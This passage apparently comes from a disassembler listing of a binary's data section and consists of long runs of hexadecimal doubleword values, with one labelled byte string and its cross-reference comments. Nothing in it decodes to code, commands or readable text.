54EE25h dd 2A6F5563h, 0F7F6B3B8h, 2887F326h, 4D32803Dh, 19EE2030h dd 34EB005Fh, 0A9BDD623h, 0DCFC2559h, 0B53899E0h, 82A5023Ah dd 63ACEEE2h, 88CEEBDDh, 0F8307AC8h, 0D74F009Ah, 0A277AB64h dd 8678E0B4h, 0F74B0800h, 1C0D0155h, 0FAA1003Fh, 18C05E97h dd 0A80029A9h, 6CF34B81h, 0E4807E92h, 8B2D0179h, 4A970A05h dd 84E860DEh, 75D1AB00h, 0B0422317h, 0AC520E31h, 6F80F04Eh dd 7F591868h, 0D1FDAA00h, 21900F76h, 117C02D3h, 77E68353h dd 0BCFE2860h, 65816F02h, 0C04815F3h, 22BDD5E8h, 0C8007DA4h dd 3212732h, 1ACE2C3h, 346FD9A0h, 20901DE8h, 0FA205450h dd 36CB1657h, 3C3C407Dh, 9F010B62h, 0D81CF700h, 72DC76DDh dd 698F0753h, 3087CD2Ch, 0A8F48D5Dh, 3F670140h, 3F80E3C4h dd 0D5A2055Ah, 0CC02C7BFh, 1B5BE754h, 961460CEh, 13661EA8h dd 9115C0B2h, 0DE3F5C42h, 0EC0D6B00h, 4727FF49h, 5F1D01BDh dd 0A0659E90h, 0C24883EFh, 0E074DBC8h, 5B9B34h, 17F61B92h dd 56585746h, 554139h, 64D4FF6Eh, 201C0B0h, 6DDFB28Ch dd 0BC80D11Eh, 0DAAF8F98h, 6681E902h, 0E0DE6504h, 7BB1F39Ch dd 0BA7F3Dh, 7E696DC9h, 2C7CB349h, 8F21A739h, 20E2975Fh dd 9A597666h, 399E002Bh, 0D9185636h, 0D000B9E5h, 0DE33DDC0h dd 0B8D3804Ah, 9F233A3Ah, 324FC68Fh, 0CACF75C0h, 45143A8Eh dd 1C0A3E0h, 5EF12A21h, 8427B6E2h, 0EF49C000h, 5426B8A0h dd 3DB95B3Fh, 28D100B5h, 4A04558Ah, 14A9007Ch, 0CB5FF7C2h dd 320736CFh, 4CDF1F21h, 47BEEAA1h, 0F11C8D4h, 158AD8B4h dd 0BAC42B80h, 901F2941h, 8FFB511Fh, 80654877h, 4CA6B4F4h dd 6D8500B5h, 0CF6CEF89h, 0F8003A23h, 0E524201Ah, 18AAE4D9h dd 0B8E3E747h, 0D00D238h, 0EBF97618h, 1868B7B3h, 885586B0h dd 831764E1h, 8C5E2231h, 0A6B292C5h, 0AAE5F880h, 49CA65C1h dd 26804356h, 77886ED3h, 7300B521h, 28EC3A7Bh, 7166BE44h dd 57B2Ch, 221667BDh, 9EC9E5C6h, 0AD008A79h, 98DD6F2Bh dd 3ED1FBBh, 3915259Ah, 0C9F0047Fh, 7D00896Eh, 0CB53D131h dd 7A3427h, 0BB9DB337h, 147BC022h, 808020FFh, 390C7C00h dd 6B18575Eh, 0D3913B86h, 75BD4980h, 0A7E3660Eh, 0F824B00h dd 62DDD93Dh, 292F0060h, 0D8FEB26Bh, 0B55910A4h, 0C24C60h dd 0FD61AE3Fh, 137DE2AFh, 0F918C18h, 77418F58h, 0CCD141DDh dd 0AF4CF7D9h, 489004Ch, 9A152E11h, 0FF900034h, 7BC7828Fh dd 0D000DED2h, 49EF090Bh, 6BE4C1h, 2CB4542Eh, 5798F62Fh dd 0A1C52500h, 0AC082734h, 47C81F9Bh, 0D3BEC78Bh, 31D167E6h dd 0D4529135h, 550E6CA7h, 2E34E222h, 1CA40029h, 925AF2Ah dd 72183E49h, 2C4AC0C0h, 0C0945704h, 0F9876F76h, 7BA8C1E9h dd 23006029h, 4ABE4BB4h, 0A300A84Fh, 4D4106B5h, 96B61B0h dd 0EB24F8E7h, 0B24E7B80h, 0CFF29D6Eh, 0A37D000h, 0F719B012h dd 606A07BCh, 8465F045h, 83108374h, 4C6029D7h, 0FAFA1B52h dd 3097E25h, 991C848Ch, 0E0DE5FEBh, 13899B8h, 155B8D14h dd 0F478EE86h, 0B8725DE1h, 0D100897Ch, 3430297Ch, 0AB8EB9h dd 0B7E63B23h, 82F22855h, 1FE8C58h, 0F9E9C162h, 4DFC91FDh dd 4498F7h, 8B641AECh, 2215C911h, 0B2065B0Ch, 19680Ch dd 0DF33925Ch, 18603BF2h, 3279E500h, 9824A48Ch, 0EEB40331h dd 6619A66h, 7DE4BC0h, 7C04A4Ch, 4FDBFA10h, 780DDF91h dd 0F896BE43h, 0EC2BB13h, 391DCF37h, 97E5BAC1h, 46146456h dd 38B58213h, 8347C487h, 64DDE1B0h, 43932E87h, 0D2191F7Ch dd 0F01C8C47h, 9E737801h, 0AC4CC3E4h, 0ECD7B9D0h, 802D4802h dd 8C3C9900h, 13BA4521h, 70D8DB07h, 0B4D2A88Ah, 34BB61B0h dd 1218C670h, 7F0E3FBh, 0E04EB3E0h, 5DCD816Dh, 0A0948600h dd 0D5FF11DFh, 0AE6F0040h, 324BD763h, 0B400EB96h, 55A45F3Dh dd 7FF9B6h, 0BBC3B748h, 13C8A4Ah, 0BA504300h, 4C9AA98h dd 253D003Fh, 94AF4D1h, 997E55ADh, 70102098h, 0DB00E44Eh dd 1C36D07Fh, 0B998D668h, 8EB34D00h, 94A761B4h, 8F9204ADh dd 0C00B2F2Ah, 0C5D91288h, 181A900h, 784E4379h, 0EDB60E9Ch dd 0DC20F2B5h, 8EC7F9Bh, 3EB7E212h, 0A415D84Ah, 56C09E6Fh dd 2EF04BE0h, 4F70061h, 991FF851h, 7F003630h, 4DDE97C7h dd 1D8EDFh, 29CC0C9Bh, 9218F026h, 2FAC7126h, 2ADE2C00h dd 21532Dh, 0A9B57376h, 79DDB8Ch, 38045EF6h, 0AEDF3416h dd 0D30098F2h, 21F35CDDh, 1C04CA94h, 0A7AF92A2h, 6B60C880h dd 37FCFCh, 15DE0362h, 5FBC45E5h, 0D857720Fh, 0B821802Ah dd 0AE0522h, 0D38E2476h, 499FA0DFh, 1B84D700h, 0E7F83EC3h dd 123800EBh, 0E13F2270h, 4000D6E9h, 4173A4EEh, 902D5F66h dd 0A603FB4h, 3B83F780h, 0BD409380h, 0F4E5253Fh, 1BB738h dd 539EDBF4h, 0E8BC26F2h, 704C0EE2h, 0EF404144h, 12F53D7Ah dd 0AE4BDA0Eh, 6AEE605Fh, 25FF7Eh, 0D7E11A19h, 5D7C788Eh dd 7960AF03h, 0C00C433Bh, 0E453376Fh, 1EB30099h, 5EE6B710h dd 3A7FF64Ah, 250F4898h, 21F32BCBh, 18C86A30h, 2B60C3C5h dd 0C4770761h, 80F5D198h, 0CC6A1675h, 2F3B0F01h, 0BF34A311h dd 68A5B880h, 811BE2EDh, 5BA8FD0Ch, 3DE18BEh, 0E6E7AA13h dd 0CD90A107h, 0FF24BB9Ah, 5F00A0D6h, 90792AFEh, 0E1150019h dd 6DD19E01h, 7600CBE5h dd 0F5BE70ACh, 0D968A3h, 12E284F9h, 0BBCE344Ah, 55023B00h dd 46F05F1h, 0FF818B1h, 9CBE503Ch, 0F6A44C00h, 0FDB74D2Eh dd 46F0E7h, 854B17A3h, 82864ACh, 313FC000h, 0E3768071h dd 152A00CDh, 0B07A585Ch, 83162CABh, 3EA4650h, 0C8988EADh dd 0F1EE80D0h, 0A42EB400h, 0D15B71E9h, 3A750760h, 0A03F674Eh dd 796A2914h, 0EF8DF600h, 233489FDh, 377B0052h, 0FB33274h dd 0B80015BFh, 249FC78Ah, 144D0D3Ah, 0E4734F60h, 0ADD4ED25h dd 6C3E2E00h, 44841Dh, 9F468F4Eh, 7C3B831h, 7C53A20Eh dd 79CF00E4h, 1EC45FD9h, 0C7EFA829h, 30DAED16h, 92A22FAh dd 5AE81400h, 72B78B46h, 3C96483Ah, 0A16C3200h, 6939E1EEh dd 82A8B0C5h, 0B30B7D80h, 2AD21CD7h, 346F00D1h, 0C7A7BB09h dd 0C8CF2C00h, 8722DB3Eh, 1ECE442h, 9DB8496Ah, 2009945Dh dd 0A3066B6Bh, 5BCCFFD9h, 50C800D0h, 54CE10F7h, 2F00F6DAh dd 0A26995EEh, 7D5C4Bh, 0FE73EABh, 0A420BA5Eh, 860079FCh dd 6822ADC4h, 0BFB2F49h, 7B1A0117h, 0D2F74D00h, 0C1004050h dd 57116930h, 39D8824h, 3ABE80F5h, 78581BC3h, 0C463011Ah dd 0E0A276EAh, 3602F8BAh, 423DA794h, 0B94ADB60h, 0C1EBDA00h dd 184B1EBBh, 7F3E00ECh, 58CB2006h, 0BE03F73Ah, 51FC37A9h dd 4ABDF0B2h, 83D0004Dh, 39E61C35h, 92008971h, 3CDCF4E2h dd 5DF896h, 70404304h, 0D7861B9Bh, 6C987C00h, 830CA837h dd 82CD0239h, 0FCF99E4Fh, 0C1108FC0h, 7400B3E6h, 0A222E6FAh dd 0E8A6E5h, 888A9BA7h, 0BD318FEEh, 2798CB00h, 4A176FFDh dd 80FE60BAh, 4FA55D5Eh, 533FDA00h, 3C6989AAh, 0EAB3036Ah dd 28747B0Ch, 1EE61148h, 0DA405A94h, 0DE247F48h, 0D8FB0166h dd 92B962D3h, 0F91DCC30h, 0A9781660h, 1DD5BC5Fh, 8029A011h dd 0D1613F89h, 4F00E7AFh, 95BCF51h, 772428h, 4B8DE8BAh dd 6FCAA0F3h, 784A3Bh, 0E4A7A954h, 28E3E0CBh, 0FAB44D66h dd 0DCCD108Ah, 0B1EA0235h, 0E0E3572Dh, 0A03D03CDh, 1C9E3798h dd 18D5E77Fh, 9076E8E4h, 0EE50F000h, 843D15C0h, 2BB700A9h dd 0FF3C93E9h, 8500697Bh, 30880CD4h, 550654h, 429ACFB7h dd 0D513EFDFh, 61011BECh, 0DBABEA2Fh, 0C0D02017h, 3E4F3E6Ah dd 5AFF6703h, 3BE17543h, 4099FD6Ch, 0B3E61E84h, 5FF5720Eh dd 0E9D32002h, 11DC918h, 0C0D6AFDh, 0CC0EC48Fh, 540226C8h dd 0E551F182h, 329EC092h, 3FE00075h, 5C64B95Dh, 8D3B53DBh dd 0F63E0090h, 614723B8h, 12697BC1h, 406CDD1Eh, 0C7813A40h dd 0EE7EBFA7h, 1949D430h, 0BE6625h, 0D3A52E98h, 0A48DACD6h dd 3B879C0Ah, 0CE00B0BAh, 34D20ABh, 0E7230079h, 3E67A2ACh dd 0F500C407h, 259DDB4h, 0C8E81Ch, 63CA8E3Bh, 9AF2ECF3h dd 0DE54921Eh, 60CCD78Fh, 9D8306ABh, 7520905Fh, 4F780EDAh dd 46CFCA22h, 0F1561CC0h, 8D086037h, 1EA0A3ABh, 200E2D0h dd 3AF5BD82h, 384EDF76h, 340F58AAh, 15017857h, 0CBD8BB4Ah dd 80CE5680h, 0D22E9A01h, 6FD5A7DEh, 3CB27E8h, 7A044703h dd 80872B58h, 0A849EBF1h, 83B56900h, 83C9514h, 0BE7C0084h dd 930A26A6h, 0FB028DB9h, 6437C02Ah, 0AC9C80D0h, 2476739Fh dd 1D28F966h, 93320042h, 16E0DBBDh, 80124B3Eh, 0D1AFB472h dd 74922566h, 915C1DA1h, 0B33EC098h, 0C9106A0Bh, 0C8ADE9A1h dd 72001ECCh, 5EE30F83h, 0C0853E11h, 8AF2B1F8h, 3000823Bh dd 1A05F598h, 0CA1331h, 834EEFB9h, 19FFDDEAh, 6854E200h dd 0E68AEBABh, 0DB9B00A4h, 5F82DC4Bh, 2E72D863h, 0BC004E7Dh dd 78327D7Eh, 0E1BCEA3h, 0AC849F7Ch, 20C7A5h, 42ABF094h dd 41008A75h, 63F547DDh, 140476EEh, 0C0F73307h, 969E4300h dd 816E2BB9h, 45ED2E17h, 15E714h, 0DAA6F008h, 50A9047Ah dd 3BAC4Ah, 5AB8CD8h, 0E9F0E6BDh, 78DC9800h, 14106B1Ah dd 74C8000Dh, 2579F75Ah, 5C00C443h, 0BC1E11F4h, 3D22919Eh dd 9A28A7A6h, 1D8403C8h, 9BD422Bh, 8B0FB7B0h, 8AEC291Ch dd 0CC216D41h, 0E4F896CAh, 439CC7h, 778E64C2h, 0A4789F5Eh dd 0CD154700h, 0F339511Fh, 97561440h, 8900ECF8h, 9A03ED8h dd 52005EE8h, 14030E83h, 947B7Dh, 0DC1F307Ah, 4370EED7h dd 0AF337100h, 7C19E403h, 3D4A001Ah, 90617D5Fh, 8C002C31h dd 0CB69E6D4h, 15DBE430h, 0C488B349h, 6048F63Eh, 0EE1F2800h dd 1CA5CE55h, 0A2EFCF8h, 7D00C23Fh, 4D63533Eh, 813B0733h dd 40966A65h, 110516CDh, 0EF24FE00h, 0F5CC8ECEh, 0E97EFDh dd 0EED15283h, 63061DB7h, 80C53538h, 0ACBDC47Ah, 0FE540D0h dd 0F99C7938h, 3BAF480Ah, 590213h, 0A0AD05DFh, 1C00EBE8h dd 61C7C924h, 3A5EC53Dh, 0FB8025CEh, 0A39C5DEEh, 1B0049E3h dd 2A616F2Ch, 2ED90763h, 51F78Ah, 419AAADBh, 8600D1A5h dd 0A9AD80E6h, 0F8833Eh, 0FB2C789Eh, 0F4B01B0Fh, 0CF0033E0h dd 0C1088DB8h, 537788h, 0F3D4B2E0h, 0FD2E20D9h, 0EFAC6300h dd 2DBD48E2h, 0BC7A009Dh, 4D913618h, 9F87199h, 0FC424509h dd 0EC1880E4h, 0FEDE16F3h, 29BD005Ah, 171CC2C0h, 0A000353Ah dd 0D3A9BB84h, 1861D719h, 985F336Bh, 75ECE58Bh, 0DB0A52F4h dd 0D8D3EDF6h, 1781A000h, 0A9897Ah, 0BA05960Eh, 0EA09E50Fh dd 1E50704Dh, 30419D64h, 22EDEE8Fh, 3741B630h, 8720813Dh dd 0E1CA77h, 9EC00E97h, 8EB8FAE1h, 4363590Fh, 98880DAh dd 1DFE06DBh, 800E93F9h, 0B500D62h, 0E009FDA3h, 0E9DE43Eh dd 92818263h, 2848A2ACh, 0FD7140DBh, 625B0150h, 0E4CBF7DCh dd 0BFC60A9h, 0CF773C00h, 3EFF9DABh, 6C5E8ACh, 552AD640h dd 9B01484Eh, 0F1FDB50Bh, 2FFC05BEh, 0D32D00B0h, 0FB0CC059h dd 0D70794E8h, 30705040h, 0F79A3AA0h, 373300FCh, 8F84D969h dd 4A003D2Fh, 0CC678C4Bh, 3A1F5408h, 210043E2h, 0B5B43304h dd 0F400E63Ah, 25C46F1Ah, 7F96E3h, 70DF9445h, 0B9CD8DE5h dd 0DC47FE0Fh, 0BC71004Ch, 8BEA74h, 1D405E44h, 7659510Ch dd 6ADB0A0Eh, 0E05DAEF9h, 0F7C3A302h, 811A0F74h, 3D81F4E1h dd 82A0B67Dh, 5F9B8318h, 1E1044C1h, 40C6F9C9h, 0E5EEDF22h dd 8CCB72Ah, 7021F2h, 0EFC9C6E0h, 0E2F8ACA2h, 0F32FF700h dd 0A87BD66Eh, 85BE027Eh, 0D30FFE3h, 8F42A080h, 8B68A265h dd 8899BC70h, 0FE186478h, 225EC608h, 4F0EC4C7h, 0AC40FCBFh dd 21395863h, 547D00F3h, 9C7F133Bh, 0EC0504FAh, 713E6632h dd 0C05B6C08h, 2253C6EDh, 30A9FF2Bh, 0CB03C2ACh, 0A0FC5F92h dd 0F9FA8661h, 2881C8BCh, 9123D8E8h, 43A0401Ah, 400FD4A8h dd 804E5802h, 6C19E1DFh, 60B703E8h, 85D54B31h, 3B946AF8h dd 0B0955E07h, 1CC78B8Dh, 6EAD004Fh, 9F2E52h, 86D637A7h dd 0FF93E548h, 8B730F00h, 9528E945h, 650331ADh, 15F51329h dd 280CE587h, 42228461h, 191F4266h, 4D51F6F7h, 2944EE08h dd 0E3D0447Bh, 84893744h, 602B6F22h, 0CC8C2967h, 0B55C6599h dd 0B0A20045h, 3FE21B72h, 0C99D50C8h, 7B64000Ah, 0EC2725ADh dd 0DF9893D8h, 6C67E8E7h, 0EB2F6F0Eh, 0E1EF622Bh, 6D81F7DEh dd 0D46BA87Ah, 48006129h, 6D8DC91Dh, 0F9AEB13h, 0D38FB80Fh dd 753C89E0h, 9C70B190h, 1A03BF7Ah, 0A82F135Fh, 393C1DCh dd 604FB520h, 73B938ECh, 0EA0032C6h, 616EE21Ch, 0F46D6Ah dd 0B49B266Fh, 0F6DC351Dh, 9FF3000h, 0F58A5BE1h, 9E3B1C93h dd 7E00045h, 8E0412D1h, 43EAFC60h, 342D5Dh, 75A610B7h dd 572C535Bh, 3B60C15h dd 6D000F0h, 0CAE3ACEBh, 0B4A100E1h, 18ADE56Ah, 5803CCBBh dd 4724EE03h, 0B660EFA0h, 344A57h, 18708EF0h, 5C736B2Eh dd 80B5A839h, 63D0C1A6h, 0DDCB0Ch, 8BEF444Fh, 0FAB94DA4h dd 944CAF0Ch, 0F98580EAh, 0E1C96710h, 2DF1D500h, 0C5292F2Ah dd 785E009Eh, 3796CFB3h, 0E30064AAh, 10345845h, 609FD491h dd 0A33F6AB7h, 8C3D6130h, 0C5A8804Dh, 0FCA63606h, 0CD33CDFh dd 4FC18500h, 6DAEA22Bh, 8E80DB05h, 0B800BB09h, 0BDF951Ch dd 5A260030h, 1AA5F904h, 15013944h, 34B70E8Dh, 0A640DBA7h dd 75106F8h, 92F672FAh, 8596A59Dh, 0A6741E7Fh, 81AE1C8Eh dd 198A3078h, 0F188746h, 0DE3083E0h, 6C11EEh, 96D562EFh dd 2DB85D0Ch, 2A001BE2h, 980DBF93h, 0EC480FCAh, 4F2B0001h dd 0D3234C8Fh, 3B3A2186h, 0C84874h, 0BBA766B2h, 755D171h dd 0AE0840Ch, 0E31A62E2h, 0A1881C40h, 23181498h, 0BEF0936Ch dd 4D0700D2h, 79F559FFh, 353C9E1Bh, 2A188039h, 24770C1Eh dd 0A093D13h, 47D7C301h, 0C86843CEh, 0C4F051A6h, 0F02238h dd 90DA01E3h, 125BACD4h, 1F61F2Ch, 4835DF3Eh, 1611CC56h dd 4841EC39h, 78C4A028h, 7F6791Bh, 0D25B0A9Dh, 0F059E35Eh dd 0C152101Eh, 90116DC0h, 7E1A6226h, 0BFC51AB9h, 8C288Dh dd 0E00D298h, 49E53258h, 8C631Eh, 2A213818h, 8E33C7A2h dd 0CAD7E101h, 454461E3h, 0C0C4F970h, 0CCE4F4C0h, 240334FDh dd 0C208F885h, 0E5C3C0DAh, 0DC86095Ch, 0CE009E76h, 4D9CBC6Bh dd 0A494D924h, 0C1755700h, 0E10DE5h, 0F2A6F540h, 83EBB1EAh dd 5657100h, 60C561AAh, 6D3C00BCh, 0E6334739h, 7B90324Ch dd 0CC1A9000h, 6E286724h, 0CFBB02D7h, 4DACF6C2h, 81408042h dd 8B7E49A5h, 0E244EE0Bh, 224D0017h, 3CD9952h, 0FBC5E478h dd 0D960F51Ch, 7328FEB0h, 0DCEA09B8h, 24214CFFh, 0FCDF10DBh dd 19006BFDh, 0CAAB8F5Dh, 2A5649h, 0EA958934h, 21CEA966h dd 3EC21504h, 0C08040A2h, 1E0B74Ch, 50397413h, 0C8C81D3Ah dd 0F7027625h, 6334D598h, 970687Ah, 0C2A80032h, 9277FF3Fh dd 10F26607h, 86296B01h, 0D8CA9E6Ah, 6B611421h, 9487ECh dd 47D31BA4h, 0E2706FABh, 0D5B03B03h, 0B8EB2314h, 50A67Dh dd 0AA1B308Fh, 4B37A316h, 0D962F800h, 0A8AF13BFh, 6EC90041h dd 0B17802E8h, 0C6008EC3h, 55A96A71h, 0EF75374h, 0A63861C5h dd 0CD40D820h, 0DD079856h, 0EEBA6BA7h, 0AE3AADA0h, 2E7700E1h dd 34BCF135h, 0D000AC59h, 2D024A7Ah, 187F475h, 0EF74D99Ch dd 801CF52Bh, 15477E18h, 3A7DC53h, 27F0BE62h, 67A8F9E2h dd 0B07CBA2h, 38DDFAD0h, 0C0FF1C02h, 2D48D0h, 3E4365F5h dd 0E6B2C657h, 89A93B14h, 5870180h, 419463F0h, 613680F3h dd 35AF039Fh, 0C611A68Dh, 0C89CF6E1h, 3F03CFCCh, 97C259A0h dd 0FF81B868h, 0E00E0020h, 2E01431Dh, 0B37FEA48h, 0AC553D0Eh dd 2206C080h, 0EB28EDAh, 59E2230Fh, 9A280072h, 871EE744h dd 0AFE6BB00h, 0FF160CE3h, 0D4CC0166h, 4878DC25h, 4BBC20B3h dd 0D2549412h, 0DA82A002h, 0CA461B7h, 42146C1h, 4732D8h dd 389BD497h, 0FBE8D8BDh, 0B0F43050h, 0A48D2503h, 80A7027Eh dd 60ADBAF7h, 5B4058B1h, 7B58D8FFh, 0C49E008Dh, 0FA16C572h dd 0DB73003Fh, 8D4D8807h, 0A00566Fh, 80D2B060h, 3AD3194h dd 0E9F0F9CDh, 29B838B1h, 88005447h, 41E1F123h, 0B26D4BCCh dd 91BD0428h, 90A87DB4h, 0F4CA4D58h, 28E4AA00h, 7F66C965h dd 0D5EA0096h, 20810698h, 48391145h, 6F460793h, 33D09F23h dd 0EEF9C610h, 2D150008h, 0ADB94C7Bh, 5500E6C4h, 1DA437Fh dd 12B59517h, 0F26D12h, 0AA49AE39h, 6A00DC52h db 53h a6nWm db 'ż6nĆWŹ',0 ; DATA XREF: ___:00437A30o ; ___:00437A48o dd 69731E39h, 1BD96C85h, 98FB9400h, 8E09F9Ah, 0F88100A4h dd 0EF1C60A3h, 26011573h, 661B8651h, 8E704691h, 29340181h dd 9C013CBh, 30C6173h, 75F8BBF7h, 0B80069BDh, 6D2EFC9Ah dd 0E7265Ah, 8564B0F6h, 288FF9B5h, 1C0340B8h, 9E46E6Ah dd 521A8D4h, 79649A20h, 1A6C1662h, 370C001Fh, 0E025950Eh dd 0B3011BEEh, 5F27A453h, 60DE8974h, 394B419Ch, 1C804408h dd 0E4835168h, 0D200991Fh, 0EF98387Bh, 450C7Fh, 42C7BEA8h dd 0D9504E67h, 461AD712h, 0AD0F7002h, 250AC097h, 825203D5h dd 0E529E630h, 437949C0h, 100A3F2h, 0C7EC7620h, 0F699B3h dd 5B25D10Bh, 0A4BB083Ch, 0F97E0F00h, 0EBCFE696h, 7A4D0062h dd 0B0D86C33h, 0C01539A6h, 298116Ah, 5F3CCADEh, 209CE02Dh dd 25840051h, 98CE11D6h, 0C01A843h, 974FFD5Eh, 0A4C0B7C0h dd 5DB61F02h, 0ECE691h, 0D8729F2Dh, 0DC15B5EDh, 0E986235h dd 816DE6CFh, 914096E0h, 8563C8h, 0CB165C87h, 0F6ED224Eh dd 8AF9EB00h, 66CA6E13h, 8D6748FCh, 0BD99051Dh, 1E7E8186h dd 0CA0011C2h, 5A216722h, 2CEAFFh, 4BCEA0FDh, 0D75D28F4h dd 53FEB300h, 94A3979Ch, 0E3F227h, 1A9FE752h, 0A13EF2BEh dd 0A5483AFCh, 2B57008Ch, 6CA3219h, 3058006Eh, 0D8EC1FFBh dd 9704759Fh, 46C5C67Ch, 23D944C1h, 1408870h, 0F1AD1712h dd 0D5B21F73h, 9FA040B9h, 435C5F0Fh, 191300E4h, 0F8AE297Eh dd 0CE5A0010h, 0D3E0A582h, 55946AB5h, 44FE813Fh, 0CA730A9Ch dd 54348E0h, 1201E9B4h, 0C7201D82h, 80EAAD84h, 8847182Bh dd 4A82C00h, 8C359438h, 0C96A1D6Dh, 80EFDF46h, 0E6DBB24Ch dd 9D001D7Dh, 8B3F6CABh, 1DD3DFAh, 962346B0h, 0A03C7E6Ah dd 0C001CF10h, 6693733Ah, 20832297h, 4AA73E0Ah, 0B3BF8FC0h dd 50275700h, 0B6F19345h, 90A30060h, 3CEA01B0h, 751FA156h dd 85FCCB78h, 400ECD9Bh, 0BE1CF805h, 3AC79006h, 0AFD50010h dd 1A69067h, 1A054F63h, 0FFE1B7B3h, 954090C0h, 23EB0B65h dd 41DEBCF8h, 3E38882Eh, 0DE750006h, 26DBD49Fh, 913C0559h dd 80703EACh, 0F3174A6Dh, 8A02B4F6h, 0AAFB0F87h, 0E4B8C025h dd 851400B3h, 16305F05h, 21056CB8h, 70825198h, 2700A81Ch dd 5FA84CB7h, 31EB00D8h, 0A173EC42h, 64387C72h, 0C1974DCh dd 0BF91805Dh, 6C713DCDh, 0CA229ECh, 0D978CEBAh, 9DF07170h dd 0E5405496h, 7BAA144Ah, 0BCAEC76h, 8B2B2A0Ah, 65C1AD03h dd 18C0969Ah, 9DFE1DA6h, 0D100EE75h, 8E4BCD06h, 718E66Fh dd 1A1E566h, 9F850BBh, 9B90CCA9h, 0BD13400h, 91908D7Ch dd 18AA6956h, 66E0C800h, 0A900FDEBh, 2A98BA0Dh, 7831B8h dd 2591206Ch, 0C2683F0Bh, 4B27E501h, 0ABD6944Fh, 16589DF8h dd 0AAF75h, 2E5A663Ch, 3DF0AE27h, 0C0C0B62Ch, 0FCA4E800h dd 551DCB2h, 5F8A073Bh, 828C0199h, 0C8E5C0CAh, 0A0003CB3h dd 6F7BF81Eh, 76D3FE5Dh, 9C9019h, 0A60108D7h, 7A18489Dh dd 0B8FC0A24h, 0DBC78607h, 9B80C650h, 0FA9C0BA7h, 0DC80F19Dh dd 0D3477BC1h, 0C7732603h, 809BC3AEh, 36890Bh, 0F502BC1Ah dd 63167DDAh, 4808C94h, 0F85C9546h, 89680108h, 6C66E526h dd 0E3D9F82Eh, 39006FF2h, 0D4925B1Ch, 17B312h, 0F996B25h dd 51F944E7h, 8FC37B05h, 0F48084DBh, 663473Eh, 11F6F3D7h dd 5900385Ah, 545B0C8Ah, 51B460h, 4B5663E1h, 74C84EDAh dd 0ACC9F624h, 5B51FBBh, 0A5D51300h, 78189Ch, 21094923h dd 1CE89D34h, 0C1AAF800h, 929A2DDDh, 379703ABh, 60D1C246h dd 0D327DED0h, 0FDA83404h, 0DCC080F3h, 20E632h, 0D451F03Bh dd 89601584h, 9AD76100h, 89DAF63h, 64290322h, 5C0EECA3h dd 0A4523F82h, 0F973DE01h, 0B9B41EE4h, 26A990E4h, 0EDC069Eh dd 4E208993h, 0CF1AEEC3h, 9A6D4200h, 640B075Bh, 0FCBC097Bh dd 806016FFh, 4803CF88h, 0FE0E262Ch, 60D5A2E4h, 137AEB74h dd 0CB34C1h, 0B4EE7B5Bh, 68008F9Bh, 8D4578F9h, 3F7E0E32h dd 7CAB66h, 1AD44987h, 2293FAFEh, 21177700h, 10C17392h dd 24130011h, 0D4A596B6h, 0CD00FD85h, 0EF67A7C0h, 30FBB844h dd 0B6807D2Fh, 27FC1FBFh, 556BDD00h, 0D053C15Dh, 1B63035Ah dd 0E2B0627Ah, 0D65E44E0h, 0E5879100h, 5F52166Dh, 0D2890003h dd 0BA4504B1h, 400177D1h, 0D69B75FDh, 0B17E5A87h, 10DD4699h dd 7B0D1F00h, 0BD09E079h, 5FE33193h, 0CC1B9E88h, 5A00E67Eh dd 35B0505Eh, 72EA7E1h, 0FF09892Dh, 7B7D30DCh, 1E00BA82h dd 0B587511Ah, 0DF8DB3h, 2A3050D6h, 45765FBDh, 1ED39500h dd 39F1F6C8h, 0AA5100E2h, 44A11A8Bh, 0BE1F4DD7h, 1640BC08h dd 24F97C48h, 61F07DCh, 71E8AC7Ah, 80BDE97Fh, 39281628h dd 3C7917FFh, 0FDBA8BF4h, 3ACE2580h, 0BA06DE8Eh, 54401D0Fh dd 0EDAA80F7h, 0F2FFB1h, 0C89B3569h, 2A7F5F0Ch, 0BDA78B00h dd 5D9C737Ch, 0E2E0ABh, 76376CFEh, 0D68DC470h, 68919A00h dd 0E3117D95h, 232700D9h, 0E0763F13h, 0DEAF107h, 8032B63Ah dd 0FFF303BDh, 0B59AEB68h, 0D2F87A80h, 5C3EE7E8h, 0B46B0A51h dd 0F100AC06h, 9C2A4C64h, 0E581004Dh, 0D4C27274h, 9639C835h dd 289A806Eh, 8CEBA45Ch, 92930082h, 69BF1F3Ah, 0E4004BE8h dd 248BA2B5h, 0B511475h, 7CD9FC49h, 0CC01B80h, 0C900AF2Ch dd 0AEFD33Bh, 286CAEFBh, 0E4FBBD74h, 67190072h, 25D4BC43h dd 77009FC8h, 9E20573Ah, 5CC5CEh, 91277CF1h, 0BE0D1B31h dd 23770200h, 49FAAB70h, 39E70F01h, 87BC53B2h, 0E07AE272h dd 0EF1116B1h, 7BA3731Eh, 0BD858600h, 1EB56E82h, 40C767A0h dd 9F92383Dh, 0AB392F9Dh, 34C9A8h, 8BCDC20Bh, 20345A9h dd 0B8ECF90Dh, 6C4078B1h, 4009E0CEh, 805DEF49h, 0F513F2EFh dd 0DFE70FDEh, 0F080BA39h, 636E0467h, 730285F4h, 8C9D74A8h dd 405A60B8h, 411303FFh, 0E191CE57h, 0AC786888h, 4C481FF8h dd 0DF630358h, 0C823ABB9h, 681EF9h, 0BC382B9Dh, 0E1184FBEh dd 27595306h, 12A06D4Dh, 7FFDB05h, 74A6C4A4h, 25648055h dd 0D9007F62h, 7859BD32h, 0B9686Fh, 0D2AAAD26h, 5F233EE6h dd 41FCF40Ah, 803FB7F7h, 843C270Ah, 29B445h, 22734635h dd 0C034835Dh, 49118800h, 3DE9F68Ah, 3A8C7E3Fh, 0B38075D2h dd 0BFEAE296h, 0AA00063Ah, 0FEF47B7Fh, 499032h, 0F88FA707h dd 0E87C2F15h, 3BB94700h, 0FB7580A8h, 313000F4h, 0C8948944h dd 0D4925D43h, 0B35C1200h, 0F0BE22D6h, 0CF453E07h, 778CD800h dd 3578FF9Bh, 1E9728C0h, 1207A971h, 1C9FEEC6h, 8EF42BEh dd 0A3C0EDF4h, 0F900D293h, 0D85A1C83h, 0E78730h, 701343FAh dd 0BEAFAE5Dh, 47D8900h, 8E7A2E25h, 45600083h, 0E6394BCEh dd 5B3B9F8Ah, 6E5F8B26h, 0E0D70E8Bh, 0C8431EC7h, 0FBB000F5h dd 6F3BB6E8h, 0FA3FF6ACh, 8B36002Fh, 96269BC4h, 4DE1016Bh dd 0F48F25A3h, 1B4EFC43h, 0AEE0D57Ah, 1276B73Dh, 400EB998h dd 717AE177h, 22C4B0C7h, 377B02h, 5404FD7Fh, 9009885Bh dd 786A54Ch, 70AD2EDBh, 0BF620190h, 5F163D52h, 140B28h 